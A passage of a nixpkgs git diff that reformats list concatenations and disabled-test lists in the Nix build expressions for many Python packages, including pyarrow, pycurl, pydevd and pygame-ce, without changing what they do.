index 0b986dff6636..f1dde0f34e9b 100644
--- a/pkgs/development/python-modules/pushbullet-py/default.nix
+++ b/pkgs/development/python-modules/pushbullet-py/default.nix
@@ -36,17 +36,16 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  disabledTests =
-    [
-      "test_auth_fail"
-      "test_auth_success"
-      "test_decryption"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # AttributeError: 'called_once_with' is not a valid assertion. Use a spec for the mock if 'called_once_with' is meant to be an attribute.. Did you mean: 'assert_called_once_with'?
-      "test_new_device_ok"
-      "test_new_chat_ok"
-    ];
+  disabledTests = [
+    "test_auth_fail"
+    "test_auth_success"
+    "test_decryption"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # AttributeError: 'called_once_with' is not a valid assertion. Use a spec for the mock if 'called_once_with' is meant to be an attribute.. Did you mean: 'assert_called_once_with'?
+    "test_new_device_ok"
+    "test_new_chat_ok"
+  ];
 
   meta = with lib; {
     description = "Simple python client for pushbullet.com";
diff --git a/pkgs/development/python-modules/py-evm/default.nix b/pkgs/development/python-modules/py-evm/default.nix
index 73ae873bcfca..ccc7b51959a5 100644
--- a/pkgs/development/python-modules/py-evm/default.nix
+++ b/pkgs/development/python-modules/py-evm/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     hypothesis
     pytestCheckHook
     pytest-xdist
-  ] ++ eth-hash.optional-dependencies.pycryptodome;
+  ]
+  ++ eth-hash.optional-dependencies.pycryptodome;
 
   disabledTests = [
     # side-effect: runs pip online check and is blocked by sandbox
diff --git a/pkgs/development/python-modules/pyTelegramBotAPI/default.nix b/pkgs/development/python-modules/pyTelegramBotAPI/default.nix
index 93ff870e2481..550809f9150d 100644
--- a/pkgs/development/python-modules/pyTelegramBotAPI/default.nix
+++ b/pkgs/development/python-modules/pyTelegramBotAPI/default.nix
@@ -47,13 +47,12 @@ buildPythonPackage rec {
     watchdog = [ watchdog ];
   };
 
-  checkInputs =
-    [
-      pytestCheckHook
-      requests
-    ]
-    ++ optional-dependencies.watchdog
-    ++ optional-dependencies.aiohttp;
+  checkInputs = [
+    pytestCheckHook
+    requests
+  ]
+  ++ optional-dependencies.watchdog
+  ++ optional-dependencies.aiohttp;
 
   pythonImportsCheck = [ "telebot" ];
 
diff --git a/pkgs/development/python-modules/pyannotate/default.nix b/pkgs/development/python-modules/pyannotate/default.nix
index efb769051def..f6f55da2f98c 100644
--- a/pkgs/development/python-modules/pyannotate/default.nix
+++ b/pkgs/development/python-modules/pyannotate/default.nix
@@ -36,15 +36,14 @@ buildPythonPackage rec {
     "pyannotate_tools"
   ];
 
-  disabledTestPaths =
-    [
-      "pyannotate_runtime/tests/test_collect_types.py"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.11") [
-      # Tests are using lib2to3
-      "pyannotate_tools/fixes/tests/test_annotate*.py"
-      "pyannotate_tools/annotations/tests/dundermain_test.py"
-    ];
+  disabledTestPaths = [
+    "pyannotate_runtime/tests/test_collect_types.py"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.11") [
+    # Tests are using lib2to3
+    "pyannotate_tools/fixes/tests/test_annotate*.py"
+    "pyannotate_tools/annotations/tests/dundermain_test.py"
+  ];
 
   meta = with lib; {
     description = "Auto-generate PEP-484 annotations";
diff --git a/pkgs/development/python-modules/pyarrow/default.nix b/pkgs/development/python-modules/pyarrow/default.nix
index 9b0cf844422a..95a5e0c51c84 100644
--- a/pkgs/development/python-modules/pyarrow/default.nix
+++ b/pkgs/development/python-modules/pyarrow/default.nix
@@ -97,75 +97,74 @@ buildPythonPackage rec {
     find "$PWD/pyarrow/src/arrow" -type f -name '*.h' -exec cp {} "$pyarrow_include/arrow/python" \;
   '';
 
-  pytestFlagsArray =
-    [
-      # A couple of tests are missing fixture imports, luckily pytest offers a
-      # clean solution.
-      "--fixtures pyarrow/tests/conftest.py"
-      # Deselect a single test because pyarrow prints a 2-line error message where
-      # only a single line is expected. The additional line of output comes from
-      # the glog library which is an optional dependency of arrow-cpp that is
-      # enabled in nixpkgs.
-      # Upstream Issue: https://issues.apache.org/jira/browse/ARROW-11393
-      "--deselect=pyarrow/tests/test_memory.py::test_env_var"
-      # these tests require access to s3 via the internet
-      "--deselect=pyarrow/tests/test_fs.py::test_resolve_s3_region"
-      "--deselect=pyarrow/tests/test_fs.py::test_s3_real_aws"
-      "--deselect=pyarrow/tests/test_fs.py::test_s3_real_aws_region_selection"
-      "--deselect=pyarrow/tests/test_fs.py::test_s3_options"
-      # Flaky test
-      "--deselect=pyarrow/tests/test_flight.py::test_roundtrip_errors"
-      "--deselect=pyarrow/tests/test_pandas.py::test_threaded_pandas_import"
-      # Flaky test, works locally but not on Hydra
-      "--deselect=pyarrow/tests/test_csv.py::TestThreadedCSVTableRead::test_cancellation"
-      # expects arrow-cpp headers to be bundled
-      "--deselect=pyarrow/tests/test_cpp_internals.py::test_pyarrow_include"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Requires loopback networking
-      "--deselect=pyarrow/tests/test_ipc.py::test_socket_"
-      "--deselect=pyarrow/tests/test_flight.py::test_never_sends_data"
-      "--deselect=pyarrow/tests/test_flight.py::test_large_descriptor"
-      "--deselect=pyarrow/tests/test_flight.py::test_large_metadata_client"
-      "--deselect=pyarrow/tests/test_flight.py::test_none_action_side_effect"
-      # fails to compile
-      "--deselect=pyarrow/tests/test_cython.py::test_cython_api"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.11") [
-      # Repr output is printing number instead of enum name so these tests fail
-      "--deselect=pyarrow/tests/test_fs.py::test_get_file_info"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # this test requires local networking
-      "--deselect=pyarrow/tests/test_fs.py::test_filesystem_from_uri_gcs"
-    ];
+  pytestFlagsArray = [
+    # A couple of tests are missing fixture imports, luckily pytest offers a
+    # clean solution.
+    "--fixtures pyarrow/tests/conftest.py"
+    # Deselect a single test because pyarrow prints a 2-line error message where
+    # only a single line is expected. The additional line of output comes from
+    # the glog library which is an optional dependency of arrow-cpp that is
+    # enabled in nixpkgs.
+    # Upstream Issue: https://issues.apache.org/jira/browse/ARROW-11393
+    "--deselect=pyarrow/tests/test_memory.py::test_env_var"
+    # these tests require access to s3 via the internet
+    "--deselect=pyarrow/tests/test_fs.py::test_resolve_s3_region"
+    "--deselect=pyarrow/tests/test_fs.py::test_s3_real_aws"
+    "--deselect=pyarrow/tests/test_fs.py::test_s3_real_aws_region_selection"
+    "--deselect=pyarrow/tests/test_fs.py::test_s3_options"
+    # Flaky test
+    "--deselect=pyarrow/tests/test_flight.py::test_roundtrip_errors"
+    "--deselect=pyarrow/tests/test_pandas.py::test_threaded_pandas_import"
+    # Flaky test, works locally but not on Hydra
+    "--deselect=pyarrow/tests/test_csv.py::TestThreadedCSVTableRead::test_cancellation"
+    # expects arrow-cpp headers to be bundled
+    "--deselect=pyarrow/tests/test_cpp_internals.py::test_pyarrow_include"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Requires loopback networking
+    "--deselect=pyarrow/tests/test_ipc.py::test_socket_"
+    "--deselect=pyarrow/tests/test_flight.py::test_never_sends_data"
+    "--deselect=pyarrow/tests/test_flight.py::test_large_descriptor"
+    "--deselect=pyarrow/tests/test_flight.py::test_large_metadata_client"
+    "--deselect=pyarrow/tests/test_flight.py::test_none_action_side_effect"
+    # fails to compile
+    "--deselect=pyarrow/tests/test_cython.py::test_cython_api"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.11") [
+    # Repr output is printing number instead of enum name so these tests fail
+    "--deselect=pyarrow/tests/test_fs.py::test_get_file_info"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # this test requires local networking
+    "--deselect=pyarrow/tests/test_fs.py::test_filesystem_from_uri_gcs"
+  ];
 
   disabledTests = [ "GcsFileSystem" ];
 
-  preCheck =
-    ''
-      shopt -s extglob
-      rm -r pyarrow/!(conftest.py|tests)
-      mv pyarrow/conftest.py pyarrow/tests/parent_conftest.py
-      substituteInPlace pyarrow/tests/conftest.py --replace ..conftest .parent_conftest
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # OSError: [Errno 24] Too many open files
-      ulimit -n 1024
-    '';
+  preCheck = ''
+    shopt -s extglob
+    rm -r pyarrow/!(conftest.py|tests)
+    mv pyarrow/conftest.py pyarrow/tests/parent_conftest.py
+    substituteInPlace pyarrow/tests/conftest.py --replace ..conftest .parent_conftest
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # OSError: [Errno 24] Too many open files
+    ulimit -n 1024
+  '';
 
-  pythonImportsCheck =
-    [ "pyarrow" ]
-    ++ map (module: "pyarrow.${module}") [
-      "compute"
-      "csv"
-      "dataset"
-      "feather"
-      "flight"
-      "fs"
-      "json"
-      "parquet"
-    ];
+  pythonImportsCheck = [
+    "pyarrow"
+  ]
+  ++ map (module: "pyarrow.${module}") [
+    "compute"
+    "csv"
+    "dataset"
+    "feather"
+    "flight"
+    "fs"
+    "json"
+    "parquet"
+  ];
 
   meta = with lib; {
     description = "Cross-language development platform for in-memory data";
diff --git a/pkgs/development/python-modules/pybase64/default.nix b/pkgs/development/python-modules/pybase64/default.nix
index 55547720b89a..73e365127214 100644
--- a/pkgs/development/python-modules/pybase64/default.nix
+++ b/pkgs/development/python-modules/pybase64/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
 
   pythonImportsCheck = [ "pybase64" ];
 
diff --git a/pkgs/development/python-modules/pybids/default.nix b/pkgs/development/python-modules/pybids/default.nix
index 0dbe1e1c884d..46dd6db8deef 100644
--- a/pkgs/development/python-modules/pybids/default.nix
+++ b/pkgs/development/python-modules/pybids/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
   build-system = [
     setuptools
     versioneer
-  ] ++ versioneer.optional-dependencies.toml;
+  ]
+  ++ versioneer.optional-dependencies.toml;
 
   dependencies = [
     bids-validator
diff --git a/pkgs/development/python-modules/pybind11-protobuf/default.nix b/pkgs/development/python-modules/pybind11-protobuf/default.nix
index 99dcb8e5bc45..8877ba821075 100644
--- a/pkgs/development/python-modules/pybind11-protobuf/default.nix
+++ b/pkgs/development/python-modules/pybind11-protobuf/default.nix
@@ -37,20 +37,19 @@ buildPythonPackage {
     zlib
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "USE_SYSTEM_ABSEIL" true)
-      (lib.cmakeBool "USE_SYSTEM_PROTOBUF" true)
-      (lib.cmakeBool "USE_SYSTEM_PYBIND" true)
+  cmakeFlags = [
+    (lib.cmakeBool "USE_SYSTEM_ABSEIL" true)
+    (lib.cmakeBool "USE_SYSTEM_PROTOBUF" true)
+    (lib.cmakeBool "USE_SYSTEM_PYBIND" true)
 
-      # The find_package calls are local to the dependencies subdirectory
-      (lib.cmakeBool "CMAKE_FIND_PACKAGE_TARGETS_GLOBAL" true)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Without it, Cmake prefers using Find-module which is mysteriously broken
-      # But the generated Config works
-      (lib.cmakeBool "CMAKE_FIND_PACKAGE_PREFER_CONFIG" true)
-    ];
+    # The find_package calls are local to the dependencies subdirectory
+    (lib.cmakeBool "CMAKE_FIND_PACKAGE_TARGETS_GLOBAL" true)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Without it, Cmake prefers using Find-module which is mysteriously broken
+    # But the generated Config works
+    (lib.cmakeBool "CMAKE_FIND_PACKAGE_PREFER_CONFIG" true)
+  ];
 
   meta = {
     description = "Pybind11 bindings for Google's Protocol Buffers";
diff --git a/pkgs/development/python-modules/pybind11/default.nix b/pkgs/development/python-modules/pybind11/default.nix
index 1c1933537a00..e4ba0f17a025 100644
--- a/pkgs/development/python-modules/pybind11/default.nix
+++ b/pkgs/development/python-modules/pybind11/default.nix
@@ -60,7 +60,8 @@ buildPythonPackage rec {
   cmakeFlags = [
     "-DBoost_INCLUDE_DIR=${lib.getDev boost}/include"
     "-DEIGEN3_INCLUDE_DIR=${lib.getDev eigen}/include/eigen3"
-  ] ++ lib.optionals (python.isPy3k && !stdenv.cc.isClang) [ "-DPYBIND11_CXX_STANDARD=-std=c++17" ];
+  ]
+  ++ lib.optionals (python.isPy3k && !stdenv.cc.isClang) [ "-DPYBIND11_CXX_STANDARD=-std=c++17" ];
 
   postBuild = ''
     # build tests
diff --git a/pkgs/development/python-modules/pyclip/default.nix b/pkgs/development/python-modules/pyclip/default.nix
index d786032e1410..5ddc8c327ddd 100644
--- a/pkgs/development/python-modules/pyclip/default.nix
+++ b/pkgs/development/python-modules/pyclip/default.nix
@@ -28,12 +28,13 @@ buildPythonPackage rec {
       --replace docs/README.md README.md
   '';
 
-  nativeCheckInputs =
-    [ pytest ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      xclip
-      xvfb-run
-    ];
+  nativeCheckInputs = [
+    pytest
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    xclip
+    xvfb-run
+  ];
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/python-modules/pycognito/default.nix b/pkgs/development/python-modules/pycognito/default.nix
index e49b0e3cc066..514e508951aa 100644
--- a/pkgs/development/python-modules/pycognito/default.nix
+++ b/pkgs/development/python-modules/pycognito/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     envs
     pyjwt
     requests
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   nativeCheckInputs = [
     freezegun
@@ -44,7 +45,8 @@ buildPythonPackage rec {
     moto
     pytestCheckHook
     requests-mock
-  ] ++ moto.optional-dependencies.cognitoidp;
+  ]
+  ++ moto.optional-dependencies.cognitoidp;
 
   pytestFlagsArray = [ "tests.py" ];
 
diff --git a/pkgs/development/python-modules/pycookiecheat/default.nix b/pkgs/development/python-modules/pycookiecheat/default.nix
index 97f3c9a407ad..4d89bd956541 100644
--- a/pkgs/development/python-modules/pycookiecheat/default.nix
+++ b/pkgs/development/python-modules/pycookiecheat/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
     "test_load_firefox_cookie_db"
     "test_no_cookies"
     "test_warns_for_string_browser"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_slack_config" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_slack_config" ];
 
   meta = with lib; {
     description = "Borrow cookies from your browser's authenticated session for use in Python scripts";
diff --git a/pkgs/development/python-modules/pycurl/default.nix b/pkgs/development/python-modules/pycurl/default.nix
index 40aa79a8a7e9..e57ce87ba26a 100644
--- a/pkgs/development/python-modules/pycurl/default.nix
+++ b/pkgs/development/python-modules/pycurl/default.nix
@@ -64,31 +64,30 @@ buildPythonPackage rec {
     export HOME=$TMPDIR
   '';
 
-  disabledTests =
-    [
-      # tests that require network access
-      "test_keyfunction"
-      "test_keyfunction_bogus_return"
-      # OSError: tests/fake-curl/libcurl/with_openssl.so: cannot open shared object file: No such file or directory
-      "test_libcurl_ssl_openssl"
-      # OSError: tests/fake-curl/libcurl/with_nss.so: cannot open shared object file: No such file or directory
-      "test_libcurl_ssl_nss"
-      # OSError: tests/fake-curl/libcurl/with_gnutls.so: cannot open shared object file: No such file or directory
-      "test_libcurl_ssl_gnutls"
-      # AssertionError: assert 'crypto' in ['curl']
-      "test_ssl_in_static_libs"
-      # https://github.com/pycurl/pycurl/issues/819
-      "test_multi_socket_select"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # https://github.com/pycurl/pycurl/issues/729
-      "test_easy_pause_unpause"
-      "test_multi_socket_action"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # Fatal Python error: Segmentation fault
-      "cadata_test"
-    ];
+  disabledTests = [
+    # tests that require network access
+    "test_keyfunction"
+    "test_keyfunction_bogus_return"
+    # OSError: tests/fake-curl/libcurl/with_openssl.so: cannot open shared object file: No such file or directory
+    "test_libcurl_ssl_openssl"
+    # OSError: tests/fake-curl/libcurl/with_nss.so: cannot open shared object file: No such file or directory
+    "test_libcurl_ssl_nss"
+    # OSError: tests/fake-curl/libcurl/with_gnutls.so: cannot open shared object file: No such file or directory
+    "test_libcurl_ssl_gnutls"
+    # AssertionError: assert 'crypto' in ['curl']
+    "test_ssl_in_static_libs"
+    # https://github.com/pycurl/pycurl/issues/819
+    "test_multi_socket_select"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # https://github.com/pycurl/pycurl/issues/729
+    "test_easy_pause_unpause"
+    "test_multi_socket_action"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # Fatal Python error: Segmentation fault
+    "cadata_test"
+  ];
 
   disabledTestPaths = [
     # https://github.com/pycurl/pycurl/issues/856
diff --git a/pkgs/development/python-modules/pycyphal/default.nix b/pkgs/development/python-modules/pycyphal/default.nix
index 38ee9a244b6d..43df75def9d1 100644
--- a/pkgs/development/python-modules/pycyphal/default.nix
+++ b/pkgs/development/python-modules/pycyphal/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pytest-asyncio
-  ] ++ builtins.foldl' (x: y: x ++ y) [ ] (builtins.attrValues optional-dependencies);
+  ]
+  ++ builtins.foldl' (x: y: x ++ y) [ ] (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$TMPDIR
diff --git a/pkgs/development/python-modules/pydantic/1.nix b/pkgs/development/python-modules/pydantic/1.nix
index 0fa36cec41a1..d6449035de18 100644
--- a/pkgs/development/python-modules/pydantic/1.nix
+++ b/pkgs/development/python-modules/pydantic/1.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
     pytest-mock
     pytest7CheckHook
     writableTmpDirAsHomeHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/python-modules/pydantic/default.nix b/pkgs/development/python-modules/pydantic/default.nix
index 890759f08a84..22552b125b38 100644
--- a/pkgs/development/python-modules/pydantic/default.nix
+++ b/pkgs/development/python-modules/pydantic/default.nix
@@ -61,19 +61,18 @@ buildPythonPackage rec {
     email = [ email-validator ];
   };
 
-  nativeCheckInputs =
-    [
-      cloudpickle
-      dirty-equals
-      jsonschema
-      pytest-codspeed
-      pytest-mock
-      pytest-run-parallel
-      pytestCheckHook
-      rich
-    ]
-    ++ lib.flatten (lib.attrValues optional-dependencies)
-    ++ lib.optionals (pythonOlder "3.10") [ eval-type-backport ];
+  nativeCheckInputs = [
+    cloudpickle
+    dirty-equals
+    jsonschema
+    pytest-codspeed
+    pytest-mock
+    pytest-run-parallel
+    pytestCheckHook
+    rich
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies)
+  ++ lib.optionals (pythonOlder "3.10") [ eval-type-backport ];
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/pydeck/default.nix b/pkgs/development/python-modules/pydeck/default.nix
index 51cb247a5179..258d996d1283 100644
--- a/pkgs/development/python-modules/pydeck/default.nix
+++ b/pkgs/development/python-modules/pydeck/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pandas
-  ] ++ optional-dependencies.jupyter;
+  ]
+  ++ optional-dependencies.jupyter;
 
   # tries to start a jupyter server
   disabledTests = [ "test_nbconvert" ];
diff --git a/pkgs/development/python-modules/pydevd/default.nix b/pkgs/development/python-modules/pydevd/default.nix
index e138896db2d4..47280989ba08 100644
--- a/pkgs/development/python-modules/pydevd/default.nix
+++ b/pkgs/development/python-modules/pydevd/default.nix
@@ -49,33 +49,32 @@ buildPythonPackage rec {
     untangle
   ];
 
-  disabledTests =
-    [
-      # Require network connection
-      "test_completion_sockets_and_messages"
-      "test_path_translation"
-      "test_attach_to_pid_no_threads"
-      "test_attach_to_pid_halted"
-      "test_remote_debugger_threads"
-      "test_path_translation_and_source_reference"
-      "test_attach_to_pid"
-      "test_terminate"
-      "test_gui_event_loop_custom"
-      # AssertionError: assert '/usr/bin/' == '/usr/bin'
-      # https://github.com/fabioz/PyDev.Debugger/issues/227
-      "test_to_server_and_to_client"
-      # Times out
-      "test_case_sys_exit_multiple_exception_attach"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # raise segmentation fault
-      # https://github.com/fabioz/PyDev.Debugger/issues/269
-      "test_evaluate_expression"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_multiprocessing_simple"
-      "test_evaluate_exception_trace"
-    ];
+  disabledTests = [
+    # Require network connection
+    "test_completion_sockets_and_messages"
+    "test_path_translation"
+    "test_attach_to_pid_no_threads"
+    "test_attach_to_pid_halted"
+    "test_remote_debugger_threads"
+    "test_path_translation_and_source_reference"
+    "test_attach_to_pid"
+    "test_terminate"
+    "test_gui_event_loop_custom"
+    # AssertionError: assert '/usr/bin/' == '/usr/bin'
+    # https://github.com/fabioz/PyDev.Debugger/issues/227
+    "test_to_server_and_to_client"
+    # Times out
+    "test_case_sys_exit_multiple_exception_attach"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # raise segmentation fault
+    # https://github.com/fabioz/PyDev.Debugger/issues/269
+    "test_evaluate_expression"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_multiprocessing_simple"
+    "test_evaluate_exception_trace"
+  ];
 
   pythonImportsCheck = [ "pydevd" ];
 
diff --git a/pkgs/development/python-modules/pydicom/default.nix b/pkgs/development/python-modules/pydicom/default.nix
index f1c42f7579c9..bfab7cb2f30f 100644
--- a/pkgs/development/python-modules/pydicom/default.nix
+++ b/pkgs/development/python-modules/pydicom/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     writableTmpDirAsHomeHook
-  ] ++ optional-dependencies.pixeldata;
+  ]
+  ++ optional-dependencies.pixeldata;
 
   # Setting $HOME to prevent pytest to try to create a folder inside
   # /homeless-shelter which is read-only.
@@ -65,27 +66,26 @@ buildPythonPackage rec {
     ln -s ${test_data}/data_store/data $HOME/.pydicom/data
   '';
 
-  disabledTests =
-    [
-      # tries to remove a dicom inside $HOME/.pydicom/data/ and download it again
-      "test_fetch_data_files"
+  disabledTests = [
+    # tries to remove a dicom inside $HOME/.pydicom/data/ and download it again
+    "test_fetch_data_files"
 
-      # test_reference_expl{,_binary}[parametric_map_float.dcm] tries to download that file for some reason even though it's present in test-data
-      "test_reference_expl"
-      "test_reference_expl_binary"
+    # test_reference_expl{,_binary}[parametric_map_float.dcm] tries to download that file for some reason even though it's present in test-data
+    "test_reference_expl"
+    "test_reference_expl_binary"
 
-      # slight error in regex matching
-      "test_no_decoders_raises"
-      "test_deepcopy_bufferedreader_raises"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # https://github.com/pydicom/pydicom/issues/1386
-      "test_array"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # flaky, hard to reproduce failure outside hydra
-      "test_time_check"
-    ];
+    # slight error in regex matching
+    "test_no_decoders_raises"
+    "test_deepcopy_bufferedreader_raises"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # https://github.com/pydicom/pydicom/issues/1386
+    "test_array"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # flaky, hard to reproduce failure outside hydra
+    "test_time_check"
+  ];
 
   pythonImportsCheck = [ "pydicom" ];
 
diff --git a/pkgs/development/python-modules/pydruid/default.nix b/pkgs/development/python-modules/pydruid/default.nix
index a8e1462aec29..a8fb95d01f62 100644
--- a/pkgs/development/python-modules/pydruid/default.nix
+++ b/pkgs/development/python-modules/pydruid/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pycurl
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pydruid" ];
 
diff --git a/pkgs/development/python-modules/pyecharts/default.nix b/pkgs/development/python-modules/pyecharts/default.nix
index 38750eccb96b..22a55c389e53 100644
--- a/pkgs/development/python-modules/pyecharts/default.nix
+++ b/pkgs/development/python-modules/pyecharts/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
     pandas
     pytestCheckHook
     requests
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pyecharts" ];
 
diff --git a/pkgs/development/python-modules/pyfakefs/default.nix b/pkgs/development/python-modules/pyfakefs/default.nix
index a1427188b22d..a10c181afde8 100644
--- a/pkgs/development/python-modules/pyfakefs/default.nix
+++ b/pkgs/development/python-modules/pyfakefs/default.nix
@@ -38,14 +38,13 @@ buildPythonPackage rec {
     "pyfakefs/tests"
   ];
 
-  disabledTests =
-    [
-      "test_expand_root"
-    ]
-    ++ (lib.optionals stdenv.hostPlatform.isDarwin [
-      # this test fails on darwin due to case-insensitive file system
-      "test_rename_dir_to_existing_dir"
-    ]);
+  disabledTests = [
+    "test_expand_root"
+  ]
+  ++ (lib.optionals stdenv.hostPlatform.isDarwin [
+    # this test fails on darwin due to case-insensitive file system
+    "test_rename_dir_to_existing_dir"
+  ]);
 
   meta = with lib; {
     description = "Fake file system that mocks the Python file system modules";
diff --git a/pkgs/development/python-modules/pyfnip/default.nix b/pkgs/development/python-modules/pyfnip/default.nix
index 919ddea552a5..d86c35104d6e 100644
--- a/pkgs/development/python-modules/pyfnip/default.nix
+++ b/pkgs/development/python-modules/pyfnip/default.nix
@@ -22,7 +22,8 @@ buildPythonPackage rec {
 
   dependencies = [
     requests
-  ] ++ lib.optionals (pythonAtLeast "3.13") [ standard-telnetlib ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [ standard-telnetlib ];
 
   # Project has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/pyftgl/default.nix b/pkgs/development/python-modules/pyftgl/default.nix
index 579513a9e9ca..8cb6330d5e92 100644
--- a/pkgs/development/python-modules/pyftgl/default.nix
+++ b/pkgs/development/python-modules/pyftgl/default.nix
@@ -29,14 +29,13 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  postPatch =
-    ''
-      substituteInPlace setup.py \
-        --replace-fail boost_python boost_python${pythonVersion}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      export NIX_CFLAGS_COMPILE+=" -L$SDKROOT/System/Library/Frameworks/OpenGL.framework/Versions/Current/Libraries"
-    '';
+  postPatch = ''
+    substituteInPlace setup.py \
+      --replace-fail boost_python boost_python${pythonVersion}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export NIX_CFLAGS_COMPILE+=" -L$SDKROOT/System/Library/Frameworks/OpenGL.framework/Versions/Current/Libraries"
+  '';
 
   buildInputs = [
     boost
diff --git a/pkgs/development/python-modules/pygal/default.nix b/pkgs/development/python-modules/pygal/default.nix
index 2585c7dda9f5..213e4a96a3e3 100644
--- a/pkgs/development/python-modules/pygal/default.nix
+++ b/pkgs/development/python-modules/pygal/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pyquery
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     # necessary on darwin to pass the testsuite
diff --git a/pkgs/development/python-modules/pygame-ce/default.nix b/pkgs/development/python-modules/pygame-ce/default.nix
index 386fd25c22c8..f01eed07be40 100644
--- a/pkgs/development/python-modules/pygame-ce/default.nix
+++ b/pkgs/development/python-modules/pygame-ce/default.nix
@@ -63,28 +63,27 @@ buildPythonPackage rec {
     ./skip-rle-tests.patch
   ];
 
-  postPatch =
-    ''
-      # cython was pinned to fix windows build hangs (pygame-community/pygame-ce/pull/3015)
-      substituteInPlace pyproject.toml \
-        --replace-fail '"meson<=1.7.0",' '"meson",' \
-        --replace-fail '"meson-python<=0.17.1",' '"meson-python",' \
-        --replace-fail '"ninja<=1.12.1",' "" \
-        --replace-fail '"cython<=3.0.11",' '"cython",' \
-        --replace-fail '"sphinx<=8.1.3",' "" \
-        --replace-fail '"sphinx-autoapi<=3.3.2",' ""
-      substituteInPlace buildconfig/config_{unix,darwin}.py \
-        --replace-fail 'from distutils' 'from setuptools._distutils'
-      substituteInPlace src_py/sysfont.py \
-        --replace-fail 'path="fc-list"' 'path="${fontconfig}/bin/fc-list"' \
-        --replace-fail /usr/X11/bin/fc-list ${fontconfig}/bin/fc-list
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # flaky
-      rm test/system_test.py
-      substituteInPlace test/meson.build \
-        --replace-fail "'system_test.py'," ""
-    '';
+  postPatch = ''
+    # cython was pinned to fix windows build hangs (pygame-community/pygame-ce/pull/3015)
+    substituteInPlace pyproject.toml \
+      --replace-fail '"meson<=1.7.0",' '"meson",' \
+      --replace-fail '"meson-python<=0.17.1",' '"meson-python",' \
+      --replace-fail '"ninja<=1.12.1",' "" \
+      --replace-fail '"cython<=3.0.11",' '"cython",' \
